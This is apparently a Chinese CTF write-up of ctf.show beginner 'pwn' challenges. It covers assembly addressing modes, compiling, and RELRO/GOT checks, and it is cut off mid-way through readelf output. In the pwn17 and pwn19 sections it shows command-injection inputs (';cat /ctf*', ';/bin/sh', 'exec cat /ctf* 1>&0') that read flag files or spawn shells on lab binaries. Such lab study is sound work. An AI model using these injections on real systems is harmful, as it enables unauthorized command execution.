本分类为让大家了解一些寄存器、寻址方式
汇编代码:
section .data msg db "Welcome_to_CTFshow_PWN", 0 section .text global _start _start: ; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1 ; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx ; 直接寻址方式 mov ecx, [msg] ; 将msg的地址赋值给ecx ; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax ; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax ; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax ; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax ; 输出字符串 mov eax, 4 ; 系统调用号4代表输出字符串 mov ebx, 1 ; 文件描述符1代表标准输出 mov ecx, msg ; 要输出的字符串的地址 mov edx, 22 ; 要输出的字符串的长度 int 0x80 ; 调用系统调用 ; 退出程序 mov eax, 1 ; 系统调用号1代表退出程序 xor ebx, ebx ; 返回值为0 int 0x80 ; 调用系统调用
使用NASM汇编器和ld链接器编译成可执行文件。 首先,将代码保存为一个文件,例如 Welcome_CTFshow.asm 。然后,使用以下命令将其编译为对象文件:
nasm -f elf Welcome_to_CTFshow.asm
这将生成一个名为 Welcome_CTFshow.o 的对象文件。接下来,使用以下命令将对象文件链接成可执行文件:
ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o
这将生成一个名为 Welcome_CTFshow 的可执行文件。
IDA查看汇编代码:
.text:08048080 public start .text:08048080 start proc near ; DATA XREF: LOAD:08048018↑o .text:08048080 mov eax, 0Bh .text:08048085 add eax, 1BF48h .text:0804808A sub eax, 1 .text:0804808D mov ebx, 36Dh .text:08048092 mov edx, ebx .text:08048094 mov ecx, dword ptr aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:0804809A mov esi, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:0804809F mov eax, [esi] .text:080480A1 mov ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:080480A6 add ecx, 4 .text:080480A9 mov eax, [ecx] .text:080480AB mov ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:080480B0 mov edx, 2 .text:080480B5 mov eax, [ecx+edx*2] .text:080480B8 mov ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:080480BD mov edx, 1 .text:080480C2 add ecx, 8 .text:080480C5 mov eax, [ecx+edx*2-6] .text:080480C9 mov eax, 4 .text:080480CE mov ebx, 1 ; fd .text:080480D3 mov ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN" .text:080480D8 mov edx, 16h ; len .text:080480DD int 80h ; LINUX - sys_write .text:080480DF mov eax, 1 .text:080480E4 xor ebx, ebx ; status .text:080480E6 int 80h ; LINUX - sys_exit .text:080480E6 start endp .text:080480E6 .text:080480E6 _text ends .text:080480E6 .data:080490E8 ; =========================================================================== .data:080490E8 .data:080490E8 ; Segment type: Pure data .data:080490E8 ; Segment permissions: Read/Write .data:080490E8 _data segment dword public 'DATA' use32 .data:080490E8 assume cs:_data .data:080490E8 ;org 80490E8h .data:080490E8 aWelcomeToCtfsh db 'Welcome_to_CTFshow_PWN',0 .data:080490E8 ; DATA XREF: LOAD:0804805C↑o .data:080490E8 ; start+14↑r ... .data:080490E8 _data ends .data:080490E8 .data:080490E8 .data:080490E8 end start
地址为:0x80490E8
pwn5 Hint:运行此文件,将得到的字符串以ctfshow{xxxxx}提交。
如:运行文件后 输出的内容为 Hello_World
提交的flag值为:ctfshow{Hello_World}
注:计组原理题型后续的flag中地址字母大写
$ ./Welcome_to_CTFshow Welcome_to_CTFshow_PWN
flag:ctfshow{Welcome_to_CTFshow_PWN}
pwn6 Hint:立即寻址方式结束后eax寄存器的值为?
; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1
根据题目源码注释片段可以了解到立即寻址方式在哪,而且可以直接算出,在IDA中对应片段:
.text:08048080 mov eax, 0Bh .text:08048085 add eax, 1BF48h .text:0804808A sub eax, 1
结果:0x0b+0x1bf48-0x1=0x1bf52=114514
flag:ctfshow{114514}
pwn7 Hint:寄存器寻址方式结束后edx寄存器的值为?
; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx
对应IDA片段:
.text:0804808D mov ebx, 36Dh .text:08048092 mov edx, ebx
故flag:ctfshow{0x36D}
pwn8 Hint:直接寻址方式结束后ecx寄存器的值为?
; 直接寻址方式 mov ecx, [msg] ; 将msg的地址赋值给ecx
.text:08048094 mov ecx, dword_80490E8
双击dword_80490E8
.data:080490E8 dword_80490E8 dd 636C6557h ; DATA XREF: LOAD:0804805C↑o
故flag:ctfshow{0x80490E8}
pwn9 Hint:寄存器间接寻址方式结束后eax寄存器的值为?
; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
对应IDA:
.text:0804809A mov esi, offset dword_80490E8 .text:0804809F mov eax, [esi]
双击dword_80490E8
.data:080490E8 dword_80490E8 dd 636C6557h ; DATA XREF: LOAD:0804805C↑o
这里是将指向地址 的值赋值给eax
flag:ctfshow{0x636C6557}
Tip:字符串 Welcome_to_CTFshow_PWN 的 ASCII 转十六进制,前几个字节是 57 65 6C 63(对应 W e l c ), 636C6557 可能是字节序反转后的结果(小端存储下,0x57656C63 会存为 63 6C 65 57 )
pwn10 Hint:寄存器相对寻址方式结束后eax寄存器的值为?
; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
对应IDA:
.text:080480A1 mov ecx, offset dword_80490E8 .text:080480A6 add ecx, 4 .text:080480A9 mov eax, [ecx]
双击dword_80490E8
.data:080490E8 dword_80490E8 dd 636C6557h ; DATA XREF: LOAD:0804805C↑o .data:080490E8 ; start+14↑r ... .data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0
这里将msg的地址(0x80490E8)+ 4 处所执向的地址的值赋给eax
$ python3 Python 3.12 .3 (main, Feb 4 2025 , 14 :48 :35 ) [GCC 13.3 .0 ] on linux Type "help" , "copyright" , "credits" or "license" for more information.>>> hex (0x80490E8 + 4 )'0x80490ec'
也就是“ome_to_CTFshow_PWN”
故flag:ctfshow{ome_to_CTFshow_PWN}
pwn11 Hint:寄存器相对寻址方式结束后eax寄存器的值为?
; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
对应IDA:
.text:080480AB mov ecx, offset dword_80490E8 .text:080480B0 mov edx, 2 .text:080480B5 mov eax, [ecx+edx*2]
.data:080490E8 dword_80490E8 dd 636C6557h ; DATA XREF: LOAD:0804805C↑o .data:080490E8 ; start+14↑r ... .data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0
计算最终也是 [0x80490E8 + 2*2 ] = [0X80490EC]
故flag:ctfshow{ome_to_CTFshow_PWN}
pwn12 Hint:相对基址变址寻址方式结束后eax寄存器的值为?
; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
对应IDA:
.text:080480B8 mov ecx, offset dword_80490E8 .text:080480BD mov edx, 1 .text:080480C2 add ecx, 8 .text:080480C5 mov eax, [ecx+edx*2-6]
.data:080490E8 dword_80490E8 dd 636C6557h ; DATA XREF: LOAD:0804805C↑o .data:080490E8 ; start+14↑r ... .data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0
同理:[8 + 0x80490E8 + 1*2 - 6] = [0x80490EC]
故flag:ctfshow{ome_to_CTFshow_PWN}
pwn13 Hint:如何使用GCC?编译运行后即可获得flag
$ cat flag.c int main () { char flag[] = {99, 116, 102, 115, 104, 111, 119, 123, 104, 79, 119, 95, 116, 48, 95, 117, 115, 51, 95, 71, 67, 67, 63, 125, 0}; printf ("%s" , flag); return 0; } $ gcc flag.c -o flag $ ./flag ctfshow{hOw_t0_us3_GCC?}
这段代码是一个简单的 C 程序,它使用字符数组 flag 存储了一个加密的字符串,并通过 printf函数将其打印出来。
在这段代码中, flag 数组存储了一串整数值,这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符,就可以还原出原始的字符串。
运行该程序, printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零(NULL 字符), printf 函数会将其之前的字符依次打印,直到遇到 NULL 字符为止。
根据给定的整数值数组,还原出的字符串为: ctfshow{hOw_t0_us3_GCC?}
Tip:gcc [选项] 源文件 -o 输出文件
pwn14 Hint:请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag
$ echo "CTFshow" >key $ ls flag.c key $ gcc flag.c -o flag n$ ./flag ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}
分析过程 $ cat flag.c int main () { FILE *fp; unsigned char buffer[BUFFER_SIZE]; size_t n; fp = fopen("key" , "rb" ); if (fp == NULL) { perror("Nothing here!" ); return -1; } char output[BUFFER_SIZE * 9 + 12]; int offset = 0; offset += sprintf(output + offset, "ctfshow{" ); while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) { for (size_t i = 0; i < n; i++) { for (int j = 7; j >= 0; j--) { offset += sprintf(output + offset, "%d" , (buffer[i] >> j) & 1); } if (i != n - 1) { offset += sprintf(output + offset, "_" ); } } if (!feof(fp)) { offset += sprintf(output + offset, " " ); } } offset += sprintf(output + offset, "}" ); printf ("%s\n" , output); fclose(fp); return 0;
程序打开名为 “key” 的文件,以二进制(”rb”)模式进行读取。如果文件打开失败,将输出错误消息 “Nothing here!” 并返回 -1
然后,程序定义了一个缓冲区 buffer 用于读取文件内容,以及一个字符串数组 output 用于存储转换后的二进制字符串。变量 offset 用于跟踪 output 数组中的偏移量。
接下来,程序开始将输出字符串初始化为 “ctfshow{“,然后进入一个循环,每次读取
BUFFER_SIZE 字节的数据到 buffer 中,并将其转换为二进制字符串形式。
在内层循环中,程序遍历当前读取的字节的每一位,从最高位到最低位。通过右移操作和位与运算,提取出每一位的值,并使用 sprintf 函数将其添加到 output 字符串中。
在每个字节的二进制表示结束后,如果当前字节不是最后一个字节,则在 output 字符串中添加下划线作为分隔符。
如果文件还未读取完毕(即文件结束符未被读取),则在 output 字符串中添加空格作为分隔符。
循环结束后,程序在 output 字符串中添加 “}”,表示结束标记,并使用 printf 函数将最终的转换结果打印出来。
最后,程序关闭文件,并返回 0 表示成功执行。
该程序的作用是将二进制文件中的内容转换为二进制字符串形式,并以特定格式输出
pwn15 Hint:编译汇编代码到可执行文件,即可拿到flag
$ nasm -f elf flag.asm -o flag.o $ ld -m elf_i386 -o flag flag.o $ ls flag flag.asm flag.o $ ./flag ctfshow{@ss3mb1y_1s_3@sy}
分析过程 这段代码是一个使用 x86 汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。
要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:
$ nasm -f elf flag.asm -o flag.o $ ld -m elf_i386 -o flag flag.o $ ./flag
Tip:原文件是Intel语法(NASM风格),如果你是GAS汇编器,执行如下命令:
#原文件上添加 .intel_syntax noprefix # 声明使用 Intel 语法,且寄存器无需 % 前缀
$ as --32 -o output.o input.asm $ ld -m elf_i386 -o output output.o
pwn16 Hint:使用gcc将其编译为可执行文件
$ gcc flag.s -o flag $ ls flag flag.s $ ./flag ctfshow{daniuniuda}
分析过程: .s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处理,将其转换为可执行文件或目标文件。
可以使用 gcc 命令直接编译汇编语言源文件( .s 文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器。
pwn17 Hint:有些命令好像有点不一样?
不要一直等,可能那样永远也等不到flag
题目考查点为Linux基础命令的拼接
在Linux命令中,分号( ; )用于分隔多个命令,允许在一行上顺序执行多个命令。
当使用分号( ; )将命令连接在一起时,它们按照从左到右的顺序逐个执行,无论前面的命令是否成功。这意味着无论前一个命令是否成功执行,后续的命令都将被执行。
例如,考虑以下命令: command1 ; command2 ; command3 在这个例子中,command1 执行完毕后,无论成功与否,接着会执行 command2,然后再执行command3 。这样,多个命令可以按顺序在一行上执行。
或者也可以使用 & 将两条命令拼接在一起可以实现并行执行,即这两条命令将同时在后台执行。命令之间使用 & 进行分隔。
示例: command1 & command2 1command1 和 command2 是两个要执行的命令。通过使用 & 将它们连接起来,它们将同时在后台执行。这种方式下命令的输出可能会相互混合,具体的输出顺序取决于命令的执行速度和系统资源。
回到题目:
远程 $ nc IP port 2 ;cat /ctf*
分析过程: 先checksec
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位保护全开
IDA查看main函数,找到关键部分:
while ( 1 ) { menu(); v4 = 0 ; puts ("\nEnter the command you want choose:(1.2.3.4 or 5)\n" ); __isoc99_scanf("%d" , &v4); switch ( v4 ) { case 1 : system("id" ); break ; case 2 : puts ("Which directory?('/','./' or the directiry you want?)" ); read(0 , buf, 0xAu ); strcat (dest, buf); system(dest); puts ("Execution succeeded!" ); break ; case 3 : sleep(1u ); puts ("$cat /ctfshow_flag" ); sleep(1u ); puts ("ctfshow{" ); sleep(2u ); puts ("... ..." ); sleep(3u ); puts ("Your flag is ..." ); sleep(5u ); puts ("ctfshow{flag is not here!}" ); sleep(0x14u ); puts ("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......" ); sleep(0x1BF52u ); system("cat /ctfshow_flag" ); break ; case 4 : sleep(2u ); puts ("su: Authentication failure" ); break ; case 5 : puts ("See you!" ); exit (-1 ); default : puts ("command not found!" ); break ; }
这段代码是一个无限循环的菜单程序,根据用户输入的选项执行相应的操作。具体逻辑如下:
显示菜单选项。
提示用户输入要选择的命令(1、2、3、4或5)。
根据用户的选择执行相应的操作。
如果选择为1,则执行系统命令 “id” 并输出结果。
如果选择为2,则要求用户输入目录,并将输入的目录添加到一个字符串中,然后执行该字符串作为系统命令。
如果选择为3,则以一定时间间隔逐行输出一段文字,最后执行系统命令 “cat /ctfshow_flag” 并输出结果。
如果选择为4,则显示 “su: Authentication failure”。
如果选择为5,则显示 “See you!”,然后退出程序。
如果选择为其他值,则显示 “command not found!”。
根据执行的结果,将相应的提示信息赋值给变量 v4。
根据执行的结果,输出相应的提示信息。
可以看到在选项3最后会执行system(“cat /ctfshow_flag”);命令,虽然最终能达到我们想要的效果,但是它sleep了很久很久,本地等的话没什么问题,但是远程环境并没有这么久,因此这条直接pass,其他1/4/5选项都没有实质性作用,但是2那里会有问题,我们可以进行拼接,限制了10字节
但是我们完全够用,可以构造出 “;cat /ctf*” “;/bin/sh”等
直接拿取一个shell或者直接读出flag
在Linux中,通配符 * 表示匹配任意长度(包括零长度)的任意字符序列。
所以cat /ctf*能够读到flag
pwn18 Hint:仔细看看源码,或许有惊喜
假作真时真亦假,真作假时假亦真
分析过程: checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位保护全开
IDA查看main函数:
int main{ ... puts ("Which is the real flag?" ); __isoc99_scanf("%d" , &n9); if ( n9 == 9 ) fake(); else real(); system("cat /ctfshow_flag" ); return 0 ; }
打印提示消息:”Which is the real flag?”
使用 scanf 函数接收用户的输入,并将其保存在变量 v4 中。
如果用户输入的值等于 9,则调用 fake() 函数。
如果用户输入的值不等于 9,则调用 real() 函数。
无论用户输入的值是什么,都会执行 system(“cat /ctfshow_flag”) 命令,将/ctfshow_flag 文件的内容打印出来。
分别跟进fake()和real():
int fake () { return system("echo 'flag is here'>>/ctfshow_flag" ); }
int real () { return system("echo 'flag is here'>/ctfshow_flag" ); }
system(“echo ‘flag is here’>>/ctfshow_flag”);
这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 >> 符号表示以追加的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会在文件的末尾添加 ‘flag is here’ 。
system(“echo ‘flag is here’>/ctfshow_flag”);
这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。
这两个命令都用于将 ‘flag is here’ 写入 /ctfshow_flag 文件中,不同之处在于写入方式的不同。第一个命令使用追加方式,在文件末尾添加内容;第二个命令使用覆盖方式,将文件内容替换为新内容。具体使用哪个命令取决于需求和文件操作的预期结果。也就是所假的其实是我们需要的真的,真的反而是假的
在远程环境中,我们需要在第一次读到flag,否则后续得到的flag都已经被覆写再追加,真实的flag内容已经没了。
pwn19 Hint:关闭了输出流,一定是最安全的吗?
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Turn off output, how to get flag? * ************************************* give you a shell! now you need to get flag! exec cat /ctf* 1>&0
分析过程: $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位保护全开
IDA查看main函数:
if ( fork() ) { wait(0 ); sleep(3u ); printf ("flag is not here!" ); } else { puts ("give you a shell! now you need to get flag!" ); fclose(_bss_start); read(0 , buf, 0x20u ); system(buf); } return 0 ;
if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进程ID,所以进入 if 语句块;子进程中, fork() 返回0,所以进入 else 语句块。
在父进程中: 2.wait(0LL) : 父进程通过 wait() 函数等待子进程的结束,以确保子进程执行完
毕。
sleep(3u) : 父进程睡眠3秒钟。
printf(“flag is not here!”) : 输出提示信息,表明flag不在此处。
在子进程中: 2.puts(“give you a shell! now you need to get flag!”) : 输出提示信息,
表示给予用户一个shell,让其获取flag。
fclose() : 关闭文件输出流。
read(0, &buf, 0x20uLL) : 从标准输入中读取用户输入的命令,并存储在 buf 中。
system(&buf) : 执行用户输入的命令。
我们可以使用了exec 函数来执行 sh 命令,并使用1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入
具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。
也可以直接exec cat /ctf* 1>&0 将 cat /ctf* 命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上。
这里限制了20个字节,反弹shell的话理论上也可行,感兴趣的可以自行去尝试。
pwn20 Hint:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】} 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820 最终flag为ctfshow{1_1_0x400820_0x8208820} 若某个表不存在,则无需写其对应地址 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
$ chmod +x pwn $ ./pwn 0x600f18 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : What is RELRO protection ? * ************************************* RELRO: 52454c52 $ ./pwn 0x600f28 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : What is RELRO protection ? * ************************************* RELRO: 52454c52
程序正常执行,.got表和.got.plt都可写
故flag:ctfshow{1_1_0x600f18_0x600f28}
分析过程: $ checksec pwn Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
可以看到仅开启了NX保护,RELRO保护是完全关闭状态
这里先看一下RELRO保护:
RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。RELRO保护有三种状态:
No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。
Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。
了解到上述内容后,这个保护的几题都游刃而解了
IDA查看
.got:0000000000600F18 ; Segment type: Pure data .got:0000000000600F18 ; Segment permissions: Read/Write .got:0000000000600F18 _got segment qword public 'DATA' use64 .got:0000000000600F18 assume cs:_got .got:0000000000600F18 ;org 600F18h .got:0000000000600F18 __libc_start_main_ptr dq offset __libc_start_main .got:0000000000600F18 ; DATA XREF: _start+24↑r .got:0000000000600F20 __gmon_start___ptr dq offset __gmon_start__ .got:0000000000600F20 ; DATA XREF: _init_proc+4↑r .got:0000000000600F20 _got ends .got:0000000000600F20 .got.plt:0000000000600F28 ; =========================================================================== .got.plt:0000000000600F28 .got.plt:0000000000600F28 ; Segment type: Pure data .got.plt:0000000000600F28 ; Segment permissions: Read/Write .got.plt:0000000000600F28 _got_plt segment qword public 'DATA' use64 .got.plt:0000000000600F28 assume cs:_got_plt .got.plt:0000000000600F28 ;org 600F28h .got.plt:0000000000600F28 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC .got.plt:0000000000600F30 qword_600F30 dq 0 ; DATA XREF: sub_400420↑r .got.plt:0000000000600F38 qword_600F38 dq 0 ; DATA XREF: sub_400420+6↑r .got.plt:0000000000600F40 off_600F40 dq offset puts ; DATA XREF: _puts↑r .got.plt:0000000000600F48 off_600F48 dq offset printf ; DATA XREF: _printf↑r .got.plt:0000000000600F50 off_600F50 dq offset strtol ; DATA XREF: _strtol↑r .got.plt:0000000000600F50 _got_plt ends
或者
$ objdump -R pwn pwn: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600f18 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5 0000000000600f20 R_X86_64_GLOB_DAT __gmon_start__ 0000000000600f40 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 0000000000600f48 R_X86_64_JUMP_SLOT printf @GLIBC_2.2.5 0000000000600f50 R_X86_64_JUMP_SLOT strtol@GLIBC_2.2.5
查看一下表项地址
$ readelf -S pwn There are 29 section headers, starting at offset 0x1878: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400200 00000200 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 000000000040021c 0000021c 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.bu[...] NOTE 000000000040023c 0000023c 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400260 00000260 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 0000000000400280 00000280 0000000000000090 0000000000000018 A 6 1 8 [ 6] .dynstr STRTAB 0000000000400310 00000310 000000000000004b 0000000000000000 A 0 0 1 [ 7] .gnu.version VERSYM 000000000040035c 0000035c 000000000000000c 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400368 00000368 0000000000000020 0000000000000000 A 6 1 8 [ 9] .rela.dyn RELA 0000000000400388 00000388 0000000000000030 0000000000000018 A 5 0 8 [10] .rela.plt RELA 00000000004003b8 000003b8 0000000000000048 0000000000000018 AI 5 22 8 [11] .init PROGBITS 0000000000400400 00000400 0000000000000017 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400420 00000420 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400460 00000460 0000000000000252 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004006b4 000006b4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004006c0 000006c0 000000000000053a 0000000000000000 A 0 0 8 [16] .eh_frame_hdr PROGBITS 0000000000400bfc 00000bfc 000000000000003c 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400c38 00000c38 0000000000000100 0000000000000000 A 0 0 8 [18] .init_array INIT_ARRAY 0000000000600d38 00000d38 0000000000000008 0000000000000008 WA 0 0 8 [19] .fini_array FINI_ARRAY 0000000000600d40 00000d40 0000000000000008 0000000000000008 WA 0 0 8 [20] .dynamic DYNAMIC 0000000000600d48 00000d48 00000000000001d0 0000000000000010 WA 6 0 8 [21] .got PROGBITS 0000000000600f18 00000f18 0000000000000010 0000000000000008 WA 0 0 8 [22] .got.plt PROGBITS 0000000000600f28 00000f28 0000000000000030 0000000000000008 WA 0 0 8 [23] .data PROGBITS 0000000000600f58 00000f58 0000000000000010 0000000000000000 WA 0 0 8 [24] .bss NOBITS 0000000000600f68 00000f68 0000000000000008 0000000000000000 WA 0 0 1 [25] .comment PROGBITS 0000000000000000 00000f68 0000000000000029 0000000000000001 MS 0 0 1 [26] .symtab SYMTAB 0000000000000000 00000f98 00000000000005e8 0000000000000018 27 43 8 [27] .strtab STRTAB 0000000000000000 00001580 00000000000001f1 0000000000000000 0 0 1 [28] .shstrtab STRTAB 0000000000000000 00001771 0000000000000103 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), D (mbind), l (large), p (processor specific)
pwn21 Hint:提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】} 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820 最终flag为ctfshow{1_1_0x400820_0x8208820} 若某个表不存在,则无需写其对应地址 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
$ ./pwn 0x600ff0 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : What is RELRO protection ? * ************************************* Segmentation fault (core dumped) $ ./pwn 0x601000 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : What is RELRO protection ? * ************************************* RELRO: 52454c52
在写.got表的时候就会抛出异常,而写.got.plt依旧正常
故flag:ctfshow{0_1_0x600ff0_0x601000}
分析过程: checksec查看保护
$ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
可以看到RELRO保护部分开启了
$ objdump -R pwn pwn: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 0000000000601020 R_X86_64_JUMP_SLOT printf @GLIBC_2.2.5 0000000000601028 R_X86_64_JUMP_SLOT strtol@GLIBC_2.2.5
可以看到两种符号的OFFSET不在一页(大小为0x1000字节)上,权限就有可能不同
$ readelf -S pwn There are 29 section headers, starting at offset 0x1950: [21] .got PROGBITS 0000000000600ff0 00000ff0 0000000000000010 0000000000000008 WA 0 0 8 [22] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8
这样看是不是它两还是都可写呢?但是仔细去看程序头就会发现不同:
$ readelf -L pwn Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x0000000000000d68 0x0000000000000d68 R E 0x200000 LOAD 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 0x0000000000000230 0x0000000000000238 RW 0x200000 DYNAMIC 0x0000000000000e20 0x0000000000600e20 0x0000000000600e20 0x00000000000001d0 0x00000000000001d0 RW 0x8 NOTE 0x0000000000000254 0x0000000000400254 0x0000000000400254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x0000000000000c2c 0x0000000000400c2c 0x0000000000400c2c 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 